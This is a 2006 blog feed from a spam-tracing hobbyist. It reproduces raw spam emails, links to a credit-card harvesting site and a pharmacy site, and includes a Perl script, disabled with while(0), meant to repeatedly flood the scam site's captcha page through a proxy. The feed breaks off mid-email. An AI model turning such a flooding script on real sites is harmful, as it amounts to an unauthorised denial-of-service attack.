tag:blogger.com,1999:blog-82566932009-02-21T05:42:05.332-05:00Spam HunterViagra, penis enhancements, porn, mortgage rates, and much more are shoved into my inbox everyday. I'm not trying to win the spam war. I just like to vent by choosing one email a day, tracing down the jerk who sent it and publishing any antics that ensue.djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.comBlogger16125tag:blogger.com,1999:blog-8256693.post-1144003358564907112006-04-02T14:33:00.000-04:002006-04-02T14:46:09.803-04:00The Fastest, Most Effective Weight Loss SuplementVICTIMX-Account-Key: account3<br />X-UIDL: 1143992203.3896.VICTIM.com,S=13396<br />X-Mozilla-Status: 0011<br />X-Mozilla-Status2: 00000000<br />Return-Path: <xxenfqoyjxzy@mamma.com><br />Delivered-To: VICTIM@VICTIM.com<br />Received: (qmail 3880 invoked from network); 2 Apr 2006 15:36:41 -0000<br />Received: from unknown (HELO user-12hcp2b.cable.mindspring.com) (69.22.100.75)<br /> by VICTIM.com with SMTP; Sun, 02 Apr 2006 11:36:41 -0400<br />FCC: mailbox://xxenfqoyjxzy@mamma.com/Sent<br />X-Identity-Key: Id4<br />Date: Mon, 03 Apr 2006 05:32:33 -0300<br />From: Leona Jordan <xxenfqoyjxzy@mamma.com><br />X-Accept-Language: en-us, en<br />MIME-Version: 1.0<br />To: VICTIM@VICTIM.com<br />Subject: re[2]:<br />Content-Type: multipart/related;<br /> boundary="------------000005070406060507080002"<br /><br />This is a multi-part message in MIME format.<br />--------------000005070406060507080002<br />Content-Type: text/html; charset=us-ascii<br />Content-Transfer-Encoding: 7bit<br /><br /><html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body bgcolor="#FFFFFF" text="#A90930"> <p> <a href="http://dwam039.cutecactuus.com"><IMG SRC="cid:part1.00040701.00020201@mquosulu@moebelheinrich.de" border="0" ALT=""></a></p><p><font color="#FFFFFC">Paul stretched out and laid hold of the jamb in a death grip. in 1823 in 1838 They keep records.</font></p><p><font color="#FFFFF9">Ramage found now, following Geoffrey through the gates and into a thin mist that turned the leaning grave markers into islands, that what should have redeemed with nobility only made it seem all the more horrid. Shinny? Of course. He pushed himself up and tottered erect on his right foot. Then I helped you into your chair so you could write. He wrote undisturbed for the next four hours†ó until the points on all three of the pencils she had sharpened for him were written flat†ó and then he rolled himself back to the bed, got in, and went easily off to sleep. She turned considerately away while he fumbled his penis into the cold tube and urinated. I agree with you</font></p></body></html><br /><pre><br />--------------000005070406060507080002<br />Content-Type: image/gif;<br /> name="plume.GIF"<br />Content-Transfer-Encoding: base64<br />Content-ID: <part1.00040701.00020201@mquosulu@moebelheinrich.de><br />Content-Disposition: inline;<br /> filename = "plume.GIF"<br /><br />R0lGODlhgwItAfLGAAYHAICAgP8AAAAA/////wAAAAAAAAAAACH5BAQAAAAALAAAAAByAiUBAAP/SLrc/<br />jDKSau9OOvNu/9gKI5kaZ5oqq5s675wLM90bd94ru987//AoHBILBqPyKRyyWw6n9CodEqtWq/YrHbL<br />7Xq/4LB4TC6bz+i0es1uu9/wuHxOr9vv+Lx+z+/7/4CBgoOEhYaHiImKi4yNjo+QdgKTkUiTlwIKmJSN<br />l5GeeJuimASbJ6OmVKIRqzCorZqclKCcKKC2o7GpC7kVtxS7IL03qDTBT7+nmby1pcvOzybJzVOkENYz<br />ydDMz7vUJdrS39us0cDjEuEe6jK37C3vSfHC0b+18x3T5lLYDv0x4e4JdLePiTZ26MAl5ICPhT4bDYtE<br />ZFiv2cAUD+mRWHgu/+A/jb7GXWQw0QJHhyLRnQwxb6UuHAcLviiZI6VMjAlpXtDZcQRPXTZdmnTZktrP<br />a0JxffPoIl7EoyJiQkxa0ybAnFQxQH3wkWJWksegfUVK9KS+mxu6Xt33cayGd2q5uvU5V6klj2iV3fQU<br />FuhKWmxh+c30Cuy/V4KHkmO22PBhU4XLdTOHWHDiwYi5iSXIGV/MpQUT413FF1tkyR0f97sMNJ3Ri8dK<br />f/YXe1Znsmc3c4O1NQPC04xfTgDcAPDIkcUnK48lnGJjZ88Xc2befLhAuZRBa95O7izy4NSjY0/+Wu72<br />2svsAX/Kcbrw43vbmiZV2XZlw8nP1w8LPzN3/P+uYDVQReRZVxuABP0X3ksJirdTetc9l1uDDtLGWm5g<br />FSghhKENmN+CFf5nX4YfcqdeRcqlqKBraE0YIYXYzQagWLvV2JqI2amoG43gNTffdyuu8FuOCjolS3YI<br />RrghkQ0edeRk1X02X5DjgVhdYxhqJ96JJC6ZGmMwXulelECO2RNZFk4pXV6boajhkhySt5yY33FJ55wm<br />ptSOgG/ex6KVGnblXS7ysemafmR22FdDYd7pGKEL4TUjdJjFNeOIVvqJpUVlAvknmmlK+daPfYIWZ6kp<br />DmOnj/55eSWgQvJ56VdF/fgakZJxamg5mtVpFXpDsYnhq1QSm6WbXoVH3Jv/oCZapKeoNYsfellZM6yM<br />Mq6Z16raGoiqeWtFm+euzMp5Z6fCWjsXbHhuOWC7n8brrLQWVolosSERtpxV8q56rVBD2kstue/duqJx<br />9bK6ra6zLoyru3vG97BO6nBr47AG6kswbY/iqKi5IU5Kr8Uil/sqsPmstmh7Bm86McCylltoh1X+G9ip<br />DePrcs7ydstxuCN76JtKDFNacI4yMewkisje2LF+uzLlqI1pilsytSl7h1vPbcoMLb3Qzexm0SUm+XJg<br />BzdtKbe3We1zVRIzq7K3Ai97NHVzK33kqHK33CuydtvbJcY84q1ewUHO3OWXjuU6eHluu8cy2l7qXbLR<br />/+Pq6OrmLhM4b6Kebx54NjGfaymxbaqLs2W9INw16mXv/G137zqcMOeVPtoZ2ZenTrCkuarctODa1vqz<br />z667fjucvPFu8aBs8+67yLsPH+vA9glv5MqyAVf4brUz3XjwUGImZ/VIs3gfpNiHmr75vb+uFc0Zh19p<br />9t0b53CrqYNvP27cw9/0zgc9poVvPwZMFf6e9LBKfKAuDpSH9+iwvQj2AYIWlMitNnaGCmZQDxj8YBCA<br />J4nJiTAUHDzhEUhYBw+qcA4hfKEPpHYHF8rwhji8XuxaaMIc+vCHCmGNHIahuxQC8YhITKISl8jEJjrx<br />iVCMohSnSMUqWvGKWMyiFv+3yMUuevGLYAyjGMdIxjKa8YxoTKMa18jGNrrxjXCMoxznSMc62vGOeMyj<br />Hve4xgAQwI9/DIAgAckCQmoAkIb0QCIP+QFB8vGRQ/AjIhmwyB5MMgSVxEAmLbBJSHoSB5JUQCIJOUhK<br />OlKUgdTkH1PJSUdK0pClvMArTUnKU65ykJ1sQCxj+cle/mCUqAwmKUV5yVYWkwKIvOQwWynMBYRSmMec<br />wDJz6ctqzgCYq2ymNrNZgWdyE5nBzOYyu+nMcGJznODcpjXXeYNz4pKYuyynLNEpTXPC05bpFOc7A3lK<br />ekpgmiwAAAAaIFCCDpQABc1AQh+wUIQ2FAkPXUBEOTD/UYUetKIW/QBGYUWxBMZwB6rpCwzO6YBF+jMC<br />3qSmPAHKSHVys5gqtec3UfDQml70oBjA6EIFulEhVLSnFwAqBRIq1KHilKJHXR78glVEI44wGMWwASzl<br />Kc6VRvOfL5WlTE8KAZbekpgyJadLT9BQnh6VqEmtQFGLCoSfphWpIEBrCNgKAYzKp0cZW5wVlPdRTO7T<br />mfjk5Sy1ytUHuJKqvBTrS2152MXOs7Ak2ClPJYrTgk6WAWatrFkZetPLYlazlPWsQylbV9E6VLSSJW1o<br />R8tZ025WAZmFLWhDW9abyla1DnjtbV2rW9kOdKKliZ1ZbKPXoPbWsmmN7W2Xe9ra/56WV+DpazuRuFPW<br />WjezklWucg3q24imtrme/a5BdYvd2V5Xs9v97Hax213bMre8qpUrc9UbXva2N7u95QVeIZeOHmXPAvBt<br />73hf+90Ag9euj/veEmKaweqK97Lyfe9bJRwBudbXvdb9LGkvTOHlQti7ZzVvhM873wLPFsQafi5rOfzh<br />Ce8XSQ9qqlHR69vcZpfEHFZxUQ/ITgkgd7chxi135zvkDHN3xCs2r5B/nOIHY9jInC3xk8Vb5AgzebxR<br />9nBSrwxl4cJYMf7liE2JTGQLPznJQhaX9Hq8Yds6V8rkdTGVj3xmKyf3rWMmsZZTbGMCT/jNGbYvmoFc<br />WtSeuP+8vw3yofSaFJZNIM8TRbSbO2vfORPveGzWsJn5jN/6VljJdC4zhlFs4yE7Wcqt9XNpOY3eOFNY<br />p67WMnwBjRQvz886j97yme/74SQH2NImw/QL/srJcJ5glFMttlYp2VWUqjKgv20zq1FNZtxuVNVNBnWg<br />E21qEU/5ztkOt7W/Hd8QA7XXe85ytRn95ZDg2se6rva1gd1hsIFrpMxeNoMZCdl8Knam+TbsDwwd73Sr<br />uMv1TnWNF47WO3f24Oj2tI5JPfGHb5vhNDZ4c9U9aF9ruuHvTvCtw5yXHEca0Dk2uF2TZr0WJJufiIX5<br />YOFZzlDiE6XJtLljATvNm5eUqjD/NydjWRn0r+7bAwSvMqXjfPI0Y5m2F87vfaHeaSenl9etxi+vsV5u<br />9X461uddr6CbqsBnVLQwUUW4gd2aXoKD/eyqIuKwBb5NZSrTqmAFuC6zysq78z2sdH+53/WJyp4bWwVJ<br />n3Z3t41nbRdZwF5nu655y204d3mztbUpjbVu4sf3WdGM13yX15MMuMf9F7A29NfzTF/Qm35gNfirVwcP<br />07B2kqVe/TnQsbrJq9Y+3/0eA135MHyfmsDFifg97q0aT8CXdJ/Kf/7NE2tYb95T6P1k/u/VIHVCdJ8J<br />yKdoI5I9+7of/u+3X+lW937+9sd8/XwfZvnXYFpD1L8J4d9A//4FQX71a3P+49R7exd9VUV0f0d3/+d3<br />2Vd4eRd8mfaAIEBsiQV9KcVz76d3h/dMAQhL1ld0zQZ8GghYBUh42weBJniCKJiCKriCLNiCLviCUlB8<br />+pd/TQcDMvh1uWZcGnCDAAZ6SsEvarV/FnV/MNgDPJhTNNh4MXCEA5aDPbiDQghXTrcRrCNSnhdXY0cE<br />uHR09XRs7sd+XEgCJgUGTBhZSmiDUWhUQbgCZQhvfCYOoaMkbjgCKaeFAReBKLBvV4Vv7LeEiTZ5KAda<br />lBd68GZZ47ZkqidtevZ5QTaIqQeIWQd5KgduQCZn5pZ5gJhqkwaJH+dikMNfWIaJ3kZbov92BNhUdBM4<br />dBLYdxxYgiNIfTJHdLDogalYczRHi/3kc2QlaGvnbWL3i0TYi4c4dR1mZ5pYdVknecgoYMK4iON2dc/o<br />Z0xXf9rFi9YIjaACilSXjKO2dH+WhtMFfLZofn2nS8lkfvREe7qXfenofwV4jvG3jru3iw9ncr4oaxj3<br />hhg3ivUmX6cGZYHoXi3GcVxmYhnXeUq3a/goiaNFa5bXcWG3buDzYn2Wj8NYkA5nimA4jgHnigEoj2P4<br />ivLIgBmoeyNoe+fnirv4cd02jBAJcnPYj4cmbqcmVP/okAsXk0hmjDXojOIGdRUZkz7pkj3lDe1GbaVG<br />aAfXWkjgTrv/xFjQt3sfeX1ftZH85HO1t4XSx3MLiFhRaZUYaIYs+ZM36XrfF4gX+Y0QJ4iW+HbkpokD<br />ZpCVxpbqRm8Nx15td5Zm2Xr8eCbaeHFUp4jgFZQaKY4fGJIzNZUAFZJ76I4deJgm6XwAp5LH14gF948v<br />eYlnKJNdd4yHqIxlqY+tt43l9mt0mZRDKWtz6XabuYjNiHDg8pcB6WqieIV2eIEVGI8lCX9DN5L+lJVS<br />6Zj/936MOY+VOZad6Zpv+XRviJkjBpPPeX9oqXHnhpHJiZobh5p2qZDMuVqPh5CceW+Gs0NvRmvdl4hN<br />SWyoGFi9aYBTmUonBVO62Fj6VEmpyIFA/ydYyHaLbAhy9piTBmmRZDaQC+lxE3ed55lxekag31l5a5mT<br />mdmT2wmhx+WgALmXEZlwPGM040CgN0aKgIkIYSgHvQiMEhd20wia3BiNVsd4hSZ2LAqaXCdhMOqd2ul4<br />KNpiUXdyxnhgmOk+HvWiOlqhmllw10kHI0qifxiXodiXz4WJheiiVFahyCmRmOekk/WI9OWMeWmbyrlq<br />QAmiYhqUVueg9OYXVROlnGeki+d5SAaDbSgDcZpRXDCnh2CnRSiaRYCnMwaOSvB9IgSoeYp0fpoDfJpr<br />hZoERHhCizoGmYSYX1hsSTqolCoGkBqWklqpmpoFitmehzVYE2iB/P9JfY+5qab6BB+5fPA5eOjIkZN6<br />qrAaSUbHm666m/LXh7Gaq1agczm3gLfqUsoHla+qq8S6A7yakvaUeyJ5h5harM56m+iXgLopnL/arM96<br />rb+Un56qc9DUkcIqqtaKreLaBMM6rubqBep5ruq6ruzaru76rvAar2aUrhugi3m3ngZYfeUqr/CaixHY<br />e7VUS/lqjvxasB3Ano10ezl3r9K0rwbbrgi7qlxJlRL7fBLrrxX7ThSIsQP7sOsasaXEsQIrcyY1S64E<br />jyGLsiN7siLose8KsiprjhiLlSYLqjHLii3rr/bqsuYKsw2InzNbshd7s0HLlTrrsDybpz6Lsz//27Rb<br />OapEC48Dy7JJ664iS7VQ6bTz+a1ae7NM64FVy64SOHPs+ZQMC6762bUMO7ZIG7anurNJMItu+7JtG3t1<br />O7eaCrdGQK+F0Kh4+7c+gI2AO7gt0FOCSriIS49tmaiJ27hQKHmOG7n9yaOHKrmSi42Ha7ma+7ggVrmb<br />67jQ6LefO7pBmF+ZS7qou2qDmLqsi4RLKbqtG7tPmnkcJ6euK7t5CpNL2aa5BW3V6bm4a0cMSnnUKLpl<br />ZVxJCKh8qpdZKpTBm0QeWpsKN6YGNmPMKbjUy7jV66PBqKNyZH1324UCKFalerDzlAgfGnWsJr3ci7xN<br />SKWEmZ1IWL1E2nhL//e9WRW+ztaFhCWGyoYI9khpXkehJpqGxCu/u/u6sNuEALq6T5eFbVSBAli2KGmx<br />8rmwA7iYAne1QAuutFSV8cSxc0C7dVhxmvl587ulu1u8ozm/lYVQNjqmq7W9c1S+5Zi/F4h3y2qfCqh3<br />M6ubXWmfDVhzKEsHSee9A0y8Gem+W2q6oseQpduWKFyRultHXAWAs2qS6ujD/leq70mO8YmSX/wGjqig<br />3nnADPyEKly85haYyCvFU8ykEEpHWomAvTpJ3NqHdtd8etxMQrxVfHzHgRdzY+wGSmxxSax5ipzCQMnG<br />D4y9hRaladzCCVzDxjmttujFXRyZxEmSfezJBP+4v6maw4bcuQx6xqJ4iXQKeY6MykvKxJEsx5MMvFd0<br />ih1ZwRioqieZs35sx+MYxJK5rFV5gG0gnUx3vcvIuz24iYg8x7NWXdaLg232wpKIbpbMrLYXWJd8ldjX<br />sszWm5oMyIvFtSN5i4WcBph7zANswuw8hFlawqwJnftnzLFmzfXbvcjXqAu8TvrLqIL7i9m7mpC8egLc<br />wIp8lwssae9cjcDIl9+opS/agv38QZDsxOmcojcojZBIucn4xqaJ0etMjEwpzbH8vHHgt1KHvWzMuDTq<br />cGwXv8tMz5PXnTE80iVt0yYdRqcbvPu5zS5XryLAqmm007Kbm8YqVZFaRkT/PbiC1bEkGbLDTMGFB7Af<br />nLP0icFguLON9ZQaO9WmFK5RtNR/a3i5HH89bNbtt8VnHdU/F8bwucmE944TTdG0LK+UqcuNKczY7I6t<br />6my5VK1nPX9bJNaA+5U+/JXKys3EnJJ8DMbzyZ99XMdrTZlWtM+EK9i3vMOf7NadbJiJycl/PMxwjdlZ<br />ZNlMPcTI+s20GtdubXfDicPI2tq5OdndmtNYtNXzCEzbh7CUzdvenIvAHXharYFZi9tCB9a2XbVIO9fJ<br />Tax8mwHP3dzSPd3UXd3Wfd1eNL7nS77PNqnMjd1ipN3/lk56iEngnUdy281gW9XpzdVcTcQ0F7Be7det<br />//jVotpz9X3eTFRYoazFX6iqZE3bXWmxmi2SgB3M+o1E45vYnS2+YDzatfqBBb7BHEnKCQ5Ez93fm/1P<br />zSfIQJys24zfA359+G20F55E/A1/vhyWAO7f7xjhK36pB+7ZJ47iZ+vZec3gta3WEA7KOPfgcg3bel3j<br />PkSfWpy1XdWe1UeCWG148r3Y8O3Bvq3Y90nkVn7lWJ7lWr7lXN7lXk7kee2F/rZse83JYxXUSf3ljhDm<br />JqBSYTii6acC363mcQDVUg21j+qV7onk9ZnkxwrZRk7EPJzfYZzedD5+qF1+nP3kuw3jWQ3kj83FfS3p<br />c37obxDK0XTFs4rZIeh+mP8ezHsY5+XL5pauCJ9uznx7rJxen/YarIE8yPpKS3gMmaXuQKeu2vX053rd<br />6ViFyaCe1NGX58hd64Rw6jMe48KZ2WU9rXed1l2c4sOOEzcDD0/yIO1ihQQkO1gofLQLm3rKAzxY1zFw<br />1VJOzsiu3nfY3kZ9n3+8tR383zceMUplFyGzoULkPjxyOmA6hUNwhNMokd++yiWwVmyqR5W+DqZC7UYU<br />MHxzI/peu+I+8CzNejNQuQRvTQeP8NOOEgtfOjHGHOmBOToY8EHg7wXvhzQlhBFvqtmCpjEiMRoDOn6T<br />P7oSH2ASXO5sZpTrhhod0XEMwQG90NaszIvciXxZiC7/rXTZhm0qPM1RXGqmrUfZQnpy5x/oozYLxCEr<br />c/PElfPemMoqemBxGc8i7dDeKPY5WqYY3dFCyo1Yevaht/ZIf88rP0b1MS4bqjCnMvPIYSc0tDcir8Y2<br />ap4PPfiEj4gAf/jNeY9cepBnSm3TGaIUH5BzvPiJzNIhvqv4lvFZExnHcjaBEhR4MiYk8yIQMoMN6nQ9<br />aWSW9qZWSomsr2iQtmvRye9TSGpTCmqtv5xXmPvmLeFTUOk2PEN+8vmzAzUypjCZc+8raflYt/qsh/tO<br />TNA1iviwidDVqHgELZo9qqG7j5S9r2Rl+N6AnN8yG61B955Nrn5T5anzDVZPztac/58soY8rNlP/F9P3<br />+p92IhC6bIoAAMTqv5gkalYbaZZXP75NHtR1zXaZYko6JwaK8sjK9RvjuWZHprrb/UKzoijAQCaXBKWy<br />yYROngGqBGm1RrHXbfL5ZWqr4rBUSjaq1+y2WwCXwQWMuchOwEv0+no8/9fH9wdI52dY6KY4A9GzgpIB<br />ZDT0GKQDcsNIVAmTI4nzeVmyWfQBlEl5yaO6murIucq62HW0pIXWxqUr43Rm63XWW1tGjFssPJusrNh3<br />6DyB1zyI+BxNmPiMrS14vbyo4hr6qjo6zhkqHivqE3IjHk46uXDKHlTeqQ4KWUp0L5tMpYqTNE0EBgRz<br />RSAaLv9f0jDsgixiFFrGKkosqNCXt40cte0hNA0ayG7TDFlDNAflSJXUTnacBW6fJUmu1uFL9a5dJJ03<br />d9Yj91NHOpwyY7nwMLOoUaWw1NX0dlEYwmEUdzEco/EqLaxUo279SvWl2FnNtqVMKfIsSbUuD6n9yBJu<br />2rNj3TRyCokEP3zr9GI6SkOTX6A97y4dDA9wjw8nEOdlHBivY76PBuN9KVUqsFtiLi6kOKXqZl5gLXYe<br />XTd1m7LS0M6gWwRtW7fVVsq9U1Y1v0z5ImuiTI+m4hHyhscErjhmcqWQBfczrnPeY1bNL6upbp2jQ62d<br />wWQ8wt0XGc6gv2NEJrqh5/EJb03/1Q0/vvz59Ovbv48/v/79/De+f68fgP0NSGCBBh6IYIIKLshgEf8N<br />aFCDEk5IoVgtXIhhhhpuyGGHHn64YYUijkhiiSaeiGKKKq7IYosuvghjjDLOSGONNt6IY4467shjjz7+<br />CGSQQg4JUITnEXSkgwGpN95BCTFJZJRSTknliwQ1+WRBWYI3kBlbfoell1WOSWaZZvKH5JddrpHRdrwM<br />tGaaZ85JZ512+vffkhixqZCb4GkZpnl3wpdOgoUWeGgyiSZKaDyDqijnkd4JOoUucLaJRaZaqvfoS8eN<br />yGhT8oWqyKI7xUdPpzFGeuWkkQKK6Zuwbsqpqt58KiKplqDq/+itve7VqDm2rsiqnpXm2ZCYYWApJ6XD<br />toFrhbr+o9q0bExrLbTPPdtisVtWOsN2a3LZnpLcfnNXBdhhVwlj61an7ql8NWcZR/RKF9wm8PL0Sr2V<br />8asPZNmee2CrtPpJK7hmFOukl68SvNhRF/7FbmOmGEYDYIYlli7Gvm7cAsUaW/aUJx6L7E8rIENMrJEG<br />IfmyuQvHnGzNULKsbWVCMIWBT5gQ1hgsNaXc0SjsyJud0TvLs2tTKRPdG85ST10qwCoLa4/VQm+bnclj<br />fUqUI7jyNk5O/RaVKtVqr71GtCxM/FtS/0Id72N+DSzqvEeHbPZwW1/HNTxYs0342m7v7f+vTYWt3O4Q<br />cA8VctySqzxx32ZT2xtvdP9aeOfcHo65OWAL/u9SgLcd+eCKo+PoxUxjnjbplHlOO8SgR/060GM/F9Tl<br />nvIbNrA7B1V264GjzXntyj97ez6fPKX55j2dk7xdPicN/PVdT3/68EGHvnz4tna8eMXbvz2Z0z6B7Lcy<br />qXMsMMk8C1Ux3BaPPLL4+o8vMVMn662+eO3qcNDBW8+YE518iUo4BwSccKTTQPDtb4IUrKAFL4jBDGpw<br />gxzsoAc/CMIQinCEJCyhCU+IwhSqcIUsbKELXwjDGMpwhjSsoQ1viMMc6nCHPOyhD38IxCAKcYhELKIR<br />j4jEJCpxiUz/bKITnwjFKEpxilSsohWviMUsanGLXOyiF78IxjCKcYxkLKMZz4jGNKpxjWxsI38GAMcJ<br />wHEAi5jjLOwYJTy2QY8t4iON/CgDQA5LkMubYxwDeUgGELIIi2RkIhPUyNREUo6PnGSDLLmiSGKyTptU<br />myE/KQI+drKTBCClfUzpjU2K8pElQmUrWYlIOkLMlbP8JCglQEtFwnINuYxPL/PzyzfuMkaaHKaqgmkr<br />Q1KyksZ0AymRKclmLgiawJRmH6VJzSFlc1CAVKYuZfnNWIITl7AkJB69OYNbLlOXoURnOm05zm/G853x<br />1KMf1RnOUsKTDe4kZz2ZKUtj4jOf/Vzm/zzPqUpbtjOggvRmMeepz4YqdKHsRKg1LTrOgRqUnuw06EGt<br />6UmJgnOVGd2nPynqSDpO1KP3jKM9TUpPfMIToiddZz7lSVKcNnKmKK1pOM250p9qlKf+hKkRZgrQiLZU<br />mQ9dqEyRSlE7SlWjUb2lUXXKyqmO9KrbtBNQbXpTqPo0ompAKkCNalKzplSdaj1qInOK1bcekqgxDepS<br />WQpRscaVpDA1K033+lK9+pWXZ52oX0sKysG69bB21atSMdrYvxIOk3Alqzx9+tC5VtayOAUrZzna08/G<br />cqyBxWxSCYtYz36WqmEt7GVJK9fTpnS0nVUqbLEpW8t207W1LahHdf9aVM/yNbW3FR9lT3tXgl60srvd<br />am5vStuxQrenzBXoc6Nr2n8iVrI7re5HGapdyc72tcrNKm6di13sunO9zWSvedFL3c22VrxrOy5xm+rb<br />0HL2sNLl73ilK1qwere5qk3vft9bYKfuMrkBtqiB61pamxK4rLF17GPly2DQAjjCAn6vYEFKNftK+Lys<br />VW1gPxxeuqZ3wrPNMF3la2AOQ3eSKmbwhFm81pUmF8ca9u+F3avf7mo3uixeKoqNO8zcOpjCWkVtfNsq<br />Wh+vuJztdSmC8QreBBdYxqsF6Yuv3GDNfpfJXx5ymMV7YqIqdroZnvKYp3vgFPcVxFPzrYyXnN3/LDP5<br />yfwEsyLaHOB1Arq319VvnEM7SnTamMp61rJtO2xmHhO5yn5us5ANzeVDOxrAtGsufMvLZ073N7Z9NnMd<br />/QxnBdN2x4XeMqmDK2o2vzq7q/bwYicdaUY7OdUbfu6gR/3mMwMbhO4l7nxh3WXuVvqsvd7urRG93BvD<br />FcbqZfZjNw1kWRs7ztt286ePjez/Jlulth42tlGdbOHqOtwUXHO692pi65r6xzCGMoSLGtQc4zqthf2r<br />vd2dWR0vu8wqFmeZn1zwaqsZ4Ki+tKu3G1mDP5W+ky34ZrmKbnPje9AJNziWnbngfs+6tjn2tJW7DWFf<br />exjI+U65pm/b5D1/qXzj5O72r7Xt7X6KdKBdfVTL343vGCc540OVN4gLml9xAxvdSWf3RoFO5mCnGuli<br />pvi1X67tRiud5EGHepQpjemQi32x63YjEXtu9rSzDO1qPxFj3w73uMt97nSvu93vjve8633vfO+73/8O<br />+MAL/qpt3yHbC494n9M58YxvvOMfD/nIS37ylK+85S+P+cxrfvOc77znPw/60It+9KQvvelPj/rUq570<br />CQAAIf5waHFnaHVtZWF5bG5sZmR4ZmlyY3ZzY3hnZ2J3a2ZucWR1eHdmbmZvenZzcnRranByZXBnZ3hy<br />dXRiZGpldnZqam9xcmJtYXF2anFrcXdoYXBhaHdleHRqZ3h3dGNrbGtkYW94ZnFrYXkAOz==<br /><br />--------------000005070406060507080002--<br /><br /></pre><br />The message was sent from user-12hcp2b.cable.mindspring.com which means a botnet. <br /><br />Another Credit Card harvester.<br />http://dwam039.cutecactuus.com/<br />This seems like a very cheap amatuer job. There isn't any type of obfusication. <br />The site doesn't even use any SSL. They do verify that the card will match the algorithm<br />for each card.<br /><br />"Please correct following errors and re-submit:<br />Numbers does not match with VISA pattern!<br />Please check your numbers and card type then try again."<br /><br />The comment page even has a image verification. OK, thanks.<br /><br /><pre><br />#!/usr/bin/perl<br />use strict;<br />require LWP::UserAgent;<br /><br />my $target = 'http://dwam039.cutecactuus.com/contactus.php?validate=img';<br />my $count;<br />my $proxy = 'http://127.0.0.1:3128'; #find your own :)<br /><br />## neutered for your own protection. Learn some perl and you can write your own!<br />while (0)<br />{<br /> my $ua = LWP::UserAgent->new;<br /> $ua->proxy(http => $proxy);<br /> my $req = HTTP::Request->new(GET => $target);<br /> my $res = $ua->request($req);<br /> if ($res->is_success) {<br /> print localtime() . "\n";<br /> }<br /> else {<br /> print $res->status_line, "\n";<br /> }<br /> <br /><br />}<br /></pre><div class="blogger-post-footer"><!--414141414141414141414141414141414141414141414141//--><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8256693-114400335856490711?l=spamhunting.blogspot.com'/></div>djutihttp://www.blogger.com/profile/04833898483742137542noreply@blogger.com0tag:blogger.com,1999:blog-8256693.post-1141988847770994292006-03-10T05:54:00.000-05:002006-03-10T10:14:19.753-05:00Dr Spam?UPDATE:<br />After a lot of research I've concluded the name attached to this DNS entry <br />is NOT the person behind the spamming. Dr Carpenter should not be contacted<br />in regards to this matter. His address and phone number were easily <br />found on public web sites and I believe he was simply picked to add legitimacy<br />to the site. The web site in question appears to simply harvest credit card<br />numbers and is operated out of Hong Kong. I have left the entry in tact<br />so anyone can follow my line of reasoning. <br /><br />-------------------------------------------------------------------------<br />The most recent spam I investigated leaves me puzzled. No effort to conceal activities for a pharacutical related spam and everything points to a licensed doctor in WA. I'm really speechless. Part of me wants to believe no doctor would be this stupid and risk his license and career. But I must document what I found.<br />The spam came on a registered email address (I forget where it's from but I believe it was a dev related mailing list. <br /><br /><pre><br />From - Fri Mar 10 05:25:41 2006<br />X-Account-Key: account3<br />X-UIDL: 1141977566.9085.loop.myISP.com,S=3345<br />X-Mozilla-Status: 0011<br />X-Mozilla-Status2: 00000000<br />Return-Path: <hasso@aramark.com><br />Delivered-To: victim@victim.com<br />Received: (qmail 9077 invoked from network); 10 Mar 2006 07:59:25 -0000<br />Received: from unknown (HELO aramark.com) (220.184.165.4)<br /> by loop.myISP.com with SMTP; Fri, 10 Mar 2006 02:59:25 -0500<br />Message-ID: <000001c64418$79497940$328ca8c0@can55><br />Reply-To: "Moray Hassen" <hasso@aramark.com><br />From: "Moray Hassen" <hasso@aramark.com><br />To: victim@victim.com<br />Subject: Re: ParamZcy news<br />Date: Fri, 10 Mar 2006 02:58:53 -0500<br />MIME-Version: 1.0<br />Content-Type: multipart/alternative;<br /> boundary="----=_NextPart_000_0001_01C643EE.9075E240"<br />X-Priority: 3<br />X-MSMail-Priority: Normal<br />X-Mailer: Microsoft Outlook Express 6.00.2800.1106<br />X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106<br /><br />This is a multi-part message in MIME format.<br /><br />------=_NextPart_000_0001_01C643EE.9075E240<br />Content-Type: text/plain;<br /> charset="us-ascii"<br />Content-Transfer-Encoding: quoted-printable<br /><br />u V q a i I f i x u p m $1 k 05 (30 Ru tabIe Qp ts)<br />n V u i o a h g y r h a $ z 69 (1 Xs 0 t 5D abIets)<br />k C x i c a i I n i j s $ y 99 (1 Hj 0 tabI gu ets)<br />=20<br />And m 5K any other http://pyp44.miltsuil.com<br /><br />------=_NextPart_000_0001_01C643EE.9075E240<br />Content-Type: text/html;<br /> charset="us-ascii"<br />Content-Transfer-Encoding: quoted-printable<br /><br /><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><br /><HTML><HEAD><br /><META http-equiv=3DContent-Type content=3D"text/html; =<br />charset=3Dus-ascii"><br /><META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR><br /><STYLE></STYLE><br /></HEAD><br /><BODY bgColor=3D#ffffff><br /><DIV><FONT face=3DArial size=3D3><FONT color=3D#0337ED><span style=3D" =<br />float : right "> u </span>V<span style=3D" float : right "> q =<br /><br /></span>a<span style=3D" float : right "> i </span>I<span style=3D" float =<br />: right "> f </span>i<span style=3D" float : right "> x </span>u<span =<br />style=3D" float : right "> p </span>m</FONT> <FONT =<br />color=3D#F1420B>$1<span style=3D" float : right "> k </span>05</FONT> =<br />(30<span style=3D" float : right "> Ru </span> tabIe<span style=3D" =<br />float : right "> Qp </span>ts)</FONT></DIV><br /><br /><DIV><FONT face=3DArial size=3D3><FONT color=3D#0337ED><span style=3D" =<br />float : right "> n </span>V<span style=3D" float : right "> u =<br /></span>i<span style=3D" float : right "> o </span>a<span style=3D" float =<br />: right "> h </span>g<span style=3D" float : right "> y </span>r<span =<br />style=3D" float : right "> h </span>a</FONT> <FONT =<br />color=3D#F1420B>$<span style=3D" float : right "> z </span>69</FONT> =<br />(1<span style=3D" float : right "> Xs </span>0 t<span style=3D" =<br />float : right "> 5D </span>abIets)</FONT></DIV><br /><br /><DIV><FONT face=3DArial size=3D3><FONT color=3D#0337ED><span style=3D" =<br />float : right "> k </span>C<span style=3D" float : right "> x =<br /></span>i<span style=3D" float : right "> c </span>a<span style=3D" float =<br />: right "> i </span>I<span style=3D" float : right "> n </span>i<span =<br />style=3D" float : right "> j </span>s</FONT> <FONT =<br />color=3D#F1420B>$<span style=3D" float : right "> y </span>99</FONT> =<br />(1<span style=3D" float : right 